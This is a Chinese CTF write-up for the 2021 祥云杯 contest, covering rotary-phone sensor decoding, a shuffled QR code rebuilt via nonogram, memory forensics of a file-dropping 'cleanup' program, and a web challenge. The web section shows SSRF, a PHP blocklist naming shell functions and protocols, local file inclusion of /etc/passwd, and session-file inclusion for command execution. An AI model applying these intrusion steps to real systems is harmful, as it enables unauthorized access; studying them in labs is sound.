2021 祥云杯 Summary

本来想着躺平不打的一场比赛,最后还是耐不住心思打了,那几道Web的题解回头有机会我考虑研究以下,而且在自己的服务器上拿别人服务器的shell还是很爽的,虽然那道题没做出来……

剩下的Web基本都卡在了XSS不会构造,但都确实看到了可以利用的地方,只是不知道怎么用。还有很多地方要学啊……PWN和Reverse的题我日常划水没做……我不甘心当个Web手但我的能力不足以让我当PWN手.jpg

其实参加了蛮多的CTF了,但是一直没在博客里写什么Writeup,从祥云杯开始吧,后面有机会再继续补。

ChieftainsSecret - Misc

Our agent risked his life to install a mysterious device in the immemorial telephone, can you find out the chieftain’s telephone number? Flag format: flag{11 digits}

题目附件 提取码:GAME

这张图片是个图种,即更改后缀名为 .zip 后可以解压缩,具体为什么可以这样建议另行搜索,与文件头、文件尾有关。

解压缩得到一张有 2163 组 PC0, PC1, PC2, PC3 数据的 csv 表格与一张电路图:

表格中数据基础分析,最大值均在 4100 附近,最小值在 2100 附近。

搜索可以得,TLE5501 芯片是一个磁传感器,能够测量其上方的磁铁的旋转角度,结合这道题给的图片是一张转盘式的电话,且 flag 会是一个 11 位电话号码,故应该是记录了拨号的全过程。

PS: 下方图片并非原图,非图种,仅作展示用途。

搜索后得到这个芯片相关的信息:TLE5501

四个电压值应当是两组互补值组成,以及相关角度值的计算方法:

data = pd.read_csv('adc.csv')

def get_sin(i):
    return (data['PC0'][i] - (data['PC0'][i] + data['PC1'][i]) / 2) / 1000

def get_cos(i):
    return (data['PC2'][i] - (data['PC2'][i] + data['PC3'][i]) / 2) / 1000

可以绘图得到:

回想起转盘式电话的拨号方式,考虑找到每次转动的极值,恰好可以清晰看到十一次峰值,分别位于:
[155, 386, 636, 879, 1077, 1273, 1471, 1622, 1737, 1881, 2067]

于是将其对应位置的数据取出,绘图可得:

pos = [155, 386, 636, 879, 1077, 1273, 1471, 1622, 1737, 1881, 2067]

for i, p in enumerate(pos):
    plt.scatter([get_cos(p)],[get_sin(p)], label=f'{i}')
    plt.annotate(f'{i}', xy=(get_cos(p), get_sin(p)), xytext=(get_cos(p) + 0.01 * i, get_sin(p) + 0.01 * i))

plt.xlim(-1.1,1.1)
plt.ylim(-1.1,1.1)
plt.legend()
plt.show()

因不确定 8 与 7 之间相隔几位,可列举四种可能性:

digits = '1234567890'
ps = [3, 3, 0, 2, 5, 1, 4, 9, 6, 5, 3]

print(''.join([digits[i] for i in ps]))
print(''.join([digits[::-1][i] for i in ps]))

ps = [3, 3, 0, 2, 5, 1, 4, 8, 6, 5, 3]

print(''.join([digits[i] for i in ps]))
print(''.join([digits[::-1][i] for i in ps]))

flag{77085962457}

shuffle_code - Misc

附件本身是一个倒过来的 PNG 图片,将其逆转后发现是一个二维码,扫码可得:

col

426327/1132122/1211132223/3113253/61531113/111312/
5323125/2222/11122153/311111/14312121/11231211/
2423211/262121/422221/622132/31121/221122111/
5122311/2111221221/121692/12122111/232326/11142121/
31253151/22111111123/111313121/1111111/2151371

row

31121113/12321133/13111112/13112221121/12112232/
16113232/11311311/21111231/11111211/711111117/
2124112211/611111241/1311371/131152131/13/2121111311/
521(11)11/1311321131/1211211/11111111/14221262/
3411131/161713/422141/7122117/1111112111/7111412/
71111121/131112131

行、列各29组数据,加之这种形式,没见过的不好说,但只要知道数织 nonogram 都会觉得这十分像一个数织的样式了,找了个在线解数织的网站:nonogram

稍微看一下代码,并把上面的数据转换为数组数据,利用已经写好的解数织的程序跑一下:

col = [
  [4, 2, 6, 3, 2, 7],
  [1, 1, 3, 2, 1, 2, 2],
  [1, 2, 1, 1, 1, 3, 2, 2, 2, 3],
  [3, 1, 1, 3, 2, 5, 3],
  [6, 1, 5, 3, 1, 1, 1, 3],
  [1, 1, 1, 3, 1, 2],
  [5, 3, 2, 3, 1, 2, 5],
  [2, 2, 2, 2],
  [1, 1, 1, 2, 2, 1, 5, 3],
  [3, 1, 1, 1, 1, 1],
  [1, 4, 3, 1, 2, 1, 2, 1],
  [1, 1, 2, 3, 1, 2, 1, 1],
  [2, 4, 2, 3, 2, 1, 1],
  [2, 6, 2, 1, 2, 1],
  [4, 2, 2, 2, 2, 1],
  [6, 2, 2, 1, 3, 2],
  [3, 1, 1, 2, 1],
  [2, 2, 1, 1, 2, 2, 1, 1, 1],
  [5, 1, 2, 2, 3, 1, 1],
  [2, 1, 1, 1, 2, 2, 1, 2, 2, 1],
  [1, 2, 1, 6, 9, 2],
  [1, 2, 1, 2, 2, 1, 1, 1],
  [2, 3, 2, 3, 2, 6],
  [1, 1, 1, 4, 2, 1, 2, 1],
  [3, 1, 2, 5, 3, 1, 5, 1],
  [2, 2, 1, 1, 1, 1, 1, 1, 1, 2, 3],
  [1, 1, 1, 3, 1, 3, 1, 2, 1],
  [1, 1, 1, 1, 1, 1, 1],
  [2, 1, 5, 1, 3, 7, 1],
];

row = [
  [3, 1, 1, 2, 1, 1, 1, 3],
  [1, 2, 3, 2, 1, 1, 3, 3],
  [1, 3, 1, 1, 1, 1, 1, 2],
  [1, 3, 1, 1, 2, 2, 2, 1, 1, 2, 1],
  [1, 2, 1, 1, 2, 2, 3, 2],
  [1, 6, 1, 1, 3, 2, 3, 2],
  [1, 1, 3, 1, 1, 3, 1, 1],
  [2, 1, 1, 1, 1, 2, 3, 1],
  [1, 1, 1, 1, 1, 2, 1, 1],
  [7, 1, 1, 1, 1, 1, 1, 1, 7],
  [2, 1, 2, 4, 1, 1, 2, 2, 1, 1],
  [6, 1, 1, 1, 1, 1, 2, 4, 1],
  [1, 3, 1, 1, 3, 7, 1],
  [1, 3, 1, 1, 5, 2, 1, 3, 1],
  [1, 3],
  [2, 1, 2, 1, 1, 1, 1, 3, 1, 1],
  [5, 2, 1, 11, 1, 1],
  [1, 3, 1, 1, 3, 2, 1, 1, 3, 1],
  [1, 2, 1, 1, 2, 1, 1],
  [1, 1, 1, 1, 1, 1, 1, 1],
  [1, 4, 2, 2, 1, 2, 6, 2],
  [3, 4, 1, 1, 1, 3, 1],
  [1, 6, 1, 7, 1, 3],
  [4, 2, 2, 1, 4, 1],
  [7, 1, 2, 2, 1, 1, 7],
  [1, 1, 1, 1, 1, 1, 2, 1, 1, 1],
  [7, 1, 1, 1, 4, 1, 2],
  [7, 1, 1, 1, 1, 1, 2, 1],
  [1, 3, 1, 1, 1, 2, 1, 3, 1],
];

var nonogram = new Nonogram(row, col);
nonogram.solveAndCheck();

可以得到结果,并得知这是一个多解的局面,其中多解的部分这个程序给出0,白色是-1,黑色是1

将脚本的结果处理一下导入进Excel:

with open('res.txt','w') as f:
    for row in res:
        for pos in row:
            if pos == 1:
                f.write('X\t')
            elif pos == -1:
                f.write(' \t')
            elif pos == 0:
                f.write('?\t')
        f.write('\n')

可以看到如下的样式:

由题目shuffle和29x29的图片大小,合理推测这是一张被打乱过的二维码,发现横向特征存在,而纵向特征几乎无法找出,因此可以推测是一张按行打乱的二维码。

首先关注如下排列的位置,因为他们是二维码统一的样式:

  1. 首尾均为 7 个黑色方块的,共两个,位置应在第 1、7 行,其中含有连续黑白序列的位于第 7 行
  2. 首位均为 1 黑、5 白、1 黑的,共两个,位置应在第 2、6 行
  3. 首位均为“黑白黑黑黑白黑”的,共三个,位置应在第 3、4、5 行
  4. 其余开头为 7 个连续的,共两个,位置应在第 23、29 行
  5. 其余开头为 1 黑、5 白、1 黑的,共两个,位置应在第 24,28 行
  6. 其余开头为“黑白黑黑黑白黑”的,共三个,位置应在第 25、26、27 行

以上要求还需要三个定位块周围一圈无黑色,因此前八位为空白的应在第 8、22 行。结合右下角小定位块的位置与形状,即可确定下方 21 至 25 行的确切所属。

你可以在qrazybox看到具体的二维码应该由哪些部分组成。

之后需要注意的是二维码的基础信息,即定位块周围的pattern,可以看到左上角定位块纵向排列的,前 7 行的第 9 列一共含有 8 个黑色块,其中第一行是黑色,两个“一黑五白一黑”的行分别对应一黑一白两个色块。

可以从qrazybox上看到各种规范的pattern,根据第八行的信息作为校验,其共有 7 种可能(第 9 至第 21 行的第 7 列应为黑白间隔排列),可通过查询比对,得到格式信息应为:M 的纠错等级,第 6 种蒙版形式。

因此,根据以上信息我们足以判断前 9 行和后 9 行的具体信息,并可解决一部分尚未解出的nonogram的位置。

中间 11 行因为已知第 7 列为黑白间隔,故一共5!×6!=864005! \times 6! = 86400种可能性,因此可以尝试爆破,对于未解出的nonogram局面,我们可以选择一个可行解——甚至不需要解出来,因为 QRCode 的 M 级别可以纠正 15% 的色块错误,得到正确的信息。具体可以看看这篇文章:二维码的纠错功能原理是?它的容错率有多高?

之后就是写个脚本进行爆破:

data = [[1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1],
[1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1],
[1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1],
[1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1],
[1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1],
[1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1],
[1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1],
[0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1],
[1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1],
[1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,1],
[0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,0,1],
[1,1,0,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1],
[1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0],
[0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0],
[1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,0,1,1,0,1,1,1,1,0,1],
[0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1],
[1,0,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0],
[1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,1,1],
[1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1],
[1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1],
[0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0],
[1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0],
[1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0],
[1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0],
[1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1],
[1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1],
[1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,1,0,1],
[1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0]]

import pyzbar.pyzbar as pyzbar
from itertools import permutations
from PIL import Image, ImageDraw as draw
import matplotlib.pyplot as plt
from tqdm import tqdm

shuffle_1 = [9, 11, 13, 15, 17, 19]
shuffle_2 = [10, 12, 14, 16, 18]

head = data[:9]
tail = data[20:]

def body(body_1, body_2): # 获取中间部分的一种排列
    body = []
    for i in range(5):
        body.append(body_1[i])
        body.append(body_2[i])
    body.append(body_1[5])
    return [data[i] for i in body]

def draw_img(data): # 生成二维码图片
    assert len(data) == 29 and len(data[0]) == 29
    img = Image.new('RGB', (31, 31), (255,255,255))
    for i, row in enumerate(data):
        for j, pixel in enumerate(row):
            img.putpixel((j + 1, i + 1), (0,0,0) if pixel == 1 else (255,255,255))
    return img

with tqdm(total=720 * 120) as pbar:
    for body_1 in permutations(shuffle_1):
        for body_2 in permutations(shuffle_2):
            im = draw_img(head + body(body_1, body_2) + tail)
            barcodes = pyzbar.decode(im)
            pbar.update(1)
            if(len(barcodes) == 0):
                continue

            for barcode in barcodes:
                barcodeData = barcode.data.decode("utf-8")
                print(barcodeData)
                plt.imshow(im)
                plt.show()

在跑到约 80% 的时候可以得到结果:

flag{f31861a9-a753-47d5-8660-a8cada6c599e}

考古 - Misc

小明在家里翻到一台很古老的xp笔记本,换电池之后发现可以正常开机,但是发现硬盘空间不足。清理过程中却发生了一些不愉快的事情…

题目附件 提取码:GAME

这是一道内存取证题,二话不说先上volatility,得到:

> imageinfo: WinXPSP2x86

> cmdscan:
Cmd #0 @ 0x3832110: It's useless to find so many things
Cmd #1 @ 0x3832ed0: ........................
Cmd #2 @ 0x52c778: what can i do about it
Cmd #3 @ 0x3833360: Heard that there is a one-click cleaning that is very useful
Cmd #4 @ 0x52b3c8: try it
Cmd #5 @ 0x52b7e8: "C:\Documents and Settings\Administrator\??\Oneclickcleanup.exe"
Cmd #6 @ 0x5224a0: what???
Cmd #7 @ 0x52d5c0: what happened??
Cmd #8 @ 0x52d410: who is 1cepeak?
Cmd #9 @ 0x3832de0: what's the meaning of hack?
Cmd #10 @ 0x3830e50: oh,no
Cmd #11 @ 0x52af40: holy shit
Cmd #12 @ 0x3830cf8: aaaaaa
Cmd #13 @ 0x522d28: Nonononononononononononono!!!!!!!!!!!!!!!!
Cmd #14 @ 0x522d88: "C:\Documents and Settings\Administrator\??\Oneclickcleanup.exe"
Cmd #15 @ 0x5224b8: fuc

都在指向Oneclickcleanup.exe这个文件,扫描一下是否存在,并dump出文件:

> filescan | grep "Oneclick"
0x00000000017bcbc0      1      0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\Oneclickcleanup.exe
> dumpfiles -Q 0x00000000017bcbc0 -D ./

用IDA打开此程序,查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v4; // [esp+10h] [ebp-14h]
  int k; // [esp+14h] [ebp-10h]
  signed int j; // [esp+18h] [ebp-Ch]
  int i; // [esp+1Ch] [ebp-8h]

  sub_4271C0();
  for ( i = 0; i <= 44; ++i )
    FileName[i] ^= byte_4B8030[i % 10];
  for ( j = 0; j < (int)ElementSize; ++j )
    byte_4B8040[j] ^= byte_4B8030[j % 10];
  for ( k = 0; k <= 9; ++k )
    puts("Hacked by 1cePack!!!!!!!");
  v4 = fopen(FileName, "wb+");
  fwrite(byte_4B8040, ElementSize, 1u, v4);
  return 0;
}

即做一个循环异或后将文件输出,由于知道异或密钥为this_a_key,dump出部分数据进行解密,得到:
文件名称是:C:\Documents and Settings\All Users\Template
以及此文件应该是应该word文档,将其重命名后打开可以看到:

My friend, I said, there is really no flag here, why don’t you believe me?

在这里卡了好久,实在不知道怎么做了对文档进行逐位异或爆破,结果得到了结果,淦。

for k in range(256):
    m3 = [x ^ k for x in m2]
    m3 = bytes(m3)
    if (b'flag' in m3):
        print(m3)

flag{8bedfdbb-ba42-43d1-858c-c2a5-5012d309}

安全检测 - Web

题目基本上没什么描述,我就不写了。是直接下发容器的。

首先是一个登录界面,输入用户名和密码都admin之后就直接进去了……

发现是一个安全检测平台,虽然做的花里胡哨的,我们可以输入需要检测的网站。尝试后发现可以让后台去访问一些页面,并且能在preview.php种看到访问的结果。

尝试的时候发现/admin是会响应403的,那么考虑用它去访问,结果发现拿到了一个目录,里面可以发现include123.php

尝试用它去访问:http://127.0.0.1/admin/include123.php可以得到此文件源码:

Warning: include(): Filename cannot be empty in /var/www/html/admin/include123.php on line 20

Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/admin/include123.php on line 20
<?php
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
    if (preg_match( "/$value/i", $u )){
        echo "检测到恶意字符";
        exit(0);
    }
}

include($u);


show_source(__FILE__);
?>

发现这里可以利用include但进行了大量的过滤,并且我们也知道了当前的路径。这个include应该可以作为任意文件读取的入口,尝试读取/etc/passwd也成功。

尝试使用include读取session,看看有没有可控的地方,可以得到:

http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182预览ver|s:0:"";user1|s:5:"admin";url1|s:0:"";html1|s:1:"v";url2|s:82:"http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182";

发现在url2中会记录当前访问的url,于是我们可以利用这个来实现php的任意命令执行:

http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182#预览ver|s:0:"";user1|s:5:"admin";url1|s:0:"";html1|s:1:"v";url2|s:112:"http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182#bin boot dev etc getflag.sh home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ";

发现getflag.sh,由于过滤了flag字符串,简单绕过:

http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182#预览ver|s:0:"";user1|s:5:"admin";url1|s:0:"";html1|s:1:"v";url2|s:116:"http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182#flag{dabc5b03-30d9-40d9-9349-47f860546db2} ";

flag{dabc5b03-30d9-40d9-9349-47f860546db2}